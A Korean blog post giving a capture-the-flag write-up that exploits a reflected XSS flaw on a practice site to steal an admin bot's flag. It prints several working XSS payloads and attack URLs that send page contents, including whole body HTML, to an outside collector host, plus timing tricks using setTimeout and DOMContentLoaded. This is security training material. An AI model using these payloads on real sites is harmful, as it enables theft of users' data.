상세 컨텐츠

본문 제목

Segfault CTF - (11주 차) Basic Script Prac

컴퓨터/보안 - CTF문제

by 디멘터 2024. 6. 28. 23:49

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)


※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.

수정 이력 : 2024-06-29 18:16 - VScode사용으로 코드 가독성 증가


SegFault CTF - Basic Script Prac

1. 목표 : 마이페이지에 있는 관리자의 중요 정보! flag를 탈취해라!

2. 실행 

  • XSS 취약점 찾기
    취약점은 Segfault CTF - (10주 차) XSS 3문제와 같다. 마이페이지 placeholder에서 XSS 취약점이 있다.
  • 취약점은 찾았으니 다음 단계
    • ① 탈취할 정보의 태그 위치를 아는 경우
      문제에서 친절하게 위치를 알려주었다.
      관리자로 접속하면 저 위치에 플래그가 있을 것이다.


      해당 위치의 값을 가져오는 방법
      document.getElementsByName('info')[0].placeholder; 사용
      관리자도구 - 콘솔에서 실행해보면 값이 나온다.
      다음 단계는  ③으로 이동.

    •  탈취할 정보의 태그 위치를 모르는 경우
      모르면 뭐 있나..?, 해당 페이지의 값을 다 가져오면 된다!

      •  document.documentElement.outerHTML; // HTML부분 전체를 가져온다.
        HTML코드 전체를 긁어왔다.

      •  document.body.innerHTML; // HTML에서 <body> 부분을 가져온다.
        body부분을 전체 다 가져올 수 있다.

    • ③ 탈취 실행!
      • <img>등 태그에서 바로 삽입

        공격 태그 작성 (img 태그 onerror 사용)
        <img src="https://x" onerror="location.href='https://enmqaeuyiny5.x.pipedream.net/?data='+ document.getElementsByName('info')[0].placeholder;">
        URL에 입력할 것이라서 + 대신 %2b로 바꿔준다.

        완성된 공격용 URL (img 태그 onerror 사용)
        http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=t1234">
        <img src="https://x" onerror="location.href='https://enmqaeuyiny5.x.pipedream.net/?data='%2b document.getElementsByName('info')[0].placeholder;">

        일단 내가 먼저 URL로 들어가보니 잘 들어온다. 이제 관리자가 접속하도록 해보자.
        요청을 확인해보니 플래그가 들어왔다. 성공.
      • <script>로 작성하기

        ⒜ 공격용 스크립트 (img 생성)
        <script>
        var i = new Image();
        i.src = "https://enmqaeuyiny5.x.pipedream.net/?data="+document.getElementsByName('info')[0].placeholder;
        </script>
        URL이라서 +는 %2b로 바꿔야 한다.

        ⒜ 공격용 URL (img 생성)
        http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=t1234">
        <script>
        var i = new Image();
        i.src = "https://enmqaeuyiny5.x.pipedream.net/?data="%2bdocument.getElementsByName('info')[0].placeholder;
        </script>

        쉽사리 되지 않았다. 분명 콘솔창에 입력하면 값이 나오는데, URL을 타고 들어가면 정의되어 있지 않다고 나왔다. 페이지가 로드되기 전에 값을 보내려고 하기 때문인 것 같다.
        내 브라우저에서 URL을 입력하면 placeholder부분이 정의되어 있지 않다고 나온다. 분명 콘솔창에 입력하면 정상적으로 나오지만 URL로 태워 보내면 요청이 안된다.

        Burp suite에서 확인해 보니 스크립트가 탈취하려는 input태그 부분보다 위에 있기도 하다.
        (그렇다고 밑에 있으면 반드시 될까?)

        이 문제를 해결하려면 2가지 방법이 있다.
        setTimeout, addEventListener 메서드를 사용하는 것이다.
        https://freestyle.tistory.com/45에 마지막 부근을 참고하면 스크린샷과 함께 자세히 나와있다.
        • setTimeout 메서드는 매개변수로 가지는 함수를 설정한 밀리초만큼 지연시키는 기능이다.
          여기서 의문이 들 수 있는데, setTimeout으로 딜레이를 준다고 하더라도 스크립트가 input 태그 위에(앞서서) 있으니까 지연되는 동안 웹 페이지 로드도 지연되는 것 아닌가 생각할 수 있다. 알아보니, 이 처리는 비동기 방식이라서 딜레이 동안 웹 페이지는 로드되고 있다.

        • addEventListener 메서드는 이벤트가 생기면 작동하도록 하는 메서드이다.
          그 이벤트 중에 'DOMcontent가 모두 로드되면' 또는 '페이지 전체가 로드되면'과 같은 이벤트를 조건으로 넣을 수 있다.

        • setTimeout 문법, 사용하기
          기본 문법 -
          setTimeout(function, delay, [param1, param2, ...]);
          예시 -
          setTimeout(function(){
              location.href="공격자의 웹사이트";
              }, 2000);
          2000ms(2초) 뒤에 공격자의 웹사이트로 이동한다.

        • addEventListener 문법, 사용하기
          기본 문법 - element.addEventListener(event, handler, options);
          예시 - window.addEventListener('DOMContentLoaded',function(){실행할 함수});
      • 다시 공격용 스크립트, URL을 작성해 본다.
        ⒝ 공격용 URL작성. (img 생성 + setTimeout 사용)
        http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=t1234">
        <script>
            setTimeout(function(){
                var i = new Image();
                i.src = "https://enmqaeuyiny5.x.pipedream.net/?data="%2bdocument.getElementsByName('info')[0].placeholder;
            }, 200);
        </script><"
        봇에게 해보니 성공적으로 flag가 들어온다.

        ⒞ 공격용 URL작성. (img 생성 + addEventListener 사용)
        http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=t1234">
        <script>
        window.addEventListener('DOMContentLoaded', function(){
            var i = new Image();
            i.src = "https://enmqaeuyiny5.x.pipedream.net/?data="%2bdocument.getElementsByName('info')[0].placeholder;
            });
        </script><"
        봇에게 해보니 성공적으로 flag가 들어온다.

        ⒟ 공격용 URL작성. (location.href + setTimeout 사용)
        http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=t1234">
        <script>
            setTimeout(function(){
               location.href="https://enmqaeuyiny5.x.pipedream.net/?data="%2bdocument.getElementsByName('info')[0].placeholder;
            }, 200);
        </script><"

        봇에게 보낼 때 딜레이 타임은 200ms 이하로 보내는 것을 추천한다. 봇이라서 짧게 세팅해 놓은 것 같다. '로드되는데 넉넉하게 2000ms로 줘야지' 하고 몇 시간 동안 안되어서 왜 안되는지 한 참 헤매었고, 다른 분의 도움을 받아 해결했다.
        관리자 봇에게 보내니 flag를 확인할 수 있었다. 성공!

        ⒠ 공격용 URL작성. (location.href + addEventListener 사용)
        http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=t1234">
        <script>
            window.addEventListener('DOMContentLoaded', function(){
                location.href="https://enmqaeuyiny5.x.pipedream.net/?data="%2bdocument.getElementsByName('info')[0].placeholder;
            });
        </script> <"

        관리자 봇에게 보내니 flag를 확인할 수 있었다. 성공!

        ⒡ 공격용 URL작성. - document.body.innerHTML;로 body부분 전체를 받아와 보자. + addEventListener 사용
        http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=t1234">
        <script>
            window.addEventListener('DOMContentLoaded', function(){
                var data=window.document.body.innerHTML;
                location.href="https://enmqaeuyiny5.x.pipedream.net/?data="%2bdata;
            });
        </script> <"

        시도는 좋았지만 URL길이 제한 때문에 안 오는 것 같다. (data를 'aaa'로 설정하면 잘 옴)
        실패~

      • 그렇다면, ⒡ 를 GET 말고  POST방식으로 작성하면 되지 않을까?
        스크립트 (body전체 + add이벤트리스너 + POST방식)
        <script>
        window.addEventListener('DOMContentLoaded', function() {
            var data = document.body.innerHTML;
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "https://enmqaeuyiny5.x.pipedream.net/", true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.send("data=" + encodeURIComponent(data)); });
        </script><"
        URL에 넣으려면 +를 %2b로 변경하는 것을 잊지 말자

         공격용 URL작성 (body전체 + add이벤트리스너 + POST방식)
        http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=t1234">
        <script>
            window.addEventListener('DOMContentLoaded', function() {
                var data = document.body.innerHTML; var xhr = new XMLHttpRequest();
                xhr.open("POST", "https://enmqaeuyiny5.x.pipedream.net/", true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.send("data=" %2b encodeURIComponent(data)); });
        </script><"

        내가 접속하니까 요청이 정상적으로 들어왔다, 하지만 봇에서는 요청을 주지 않았다.
        GET는 URL길이에 걸리는지, POST로 body부분 전체를 받아왔다!

      • ⒣ 그렇다면 setTimeout + POST로 해보자.
         공격용 URL 작성 (body전체 + setTimeout + POST방식)
        http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=t1234">
        <script>
            setTimeout(function(){
                 var data = document.body.innerHTML;
                    var xhr = new XMLHttpRequest();
                    xhr.open("POST", "https://enmqaeuyiny5.x.pipedream.net/", true);
                    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                    xhr.send("data=" %2b encodeURIComponent(data));
            }, 200);

        딜레이 시간을 여럿 바꿔봤지만, 여전히 내가 접속할 때는 값이 오는데, 봇이할 때는 오지 않는다.

        실패~

 

 

3. 정리

  • 스크립트를 넣는 방법에는 태그에 삽입 방법, 스크립트에 삽입이 있고,
  • 웹 페이지가 로드되기 전에 스크립트 실행으로 undefine이 뜬다면
    addEventListener 또는 setTimeout 같은 방법을 사용해 보자.
  • 파라미터가 너무 길다면 POST방식으로 파라미터를 넘겨줘보자.

관련글 더보기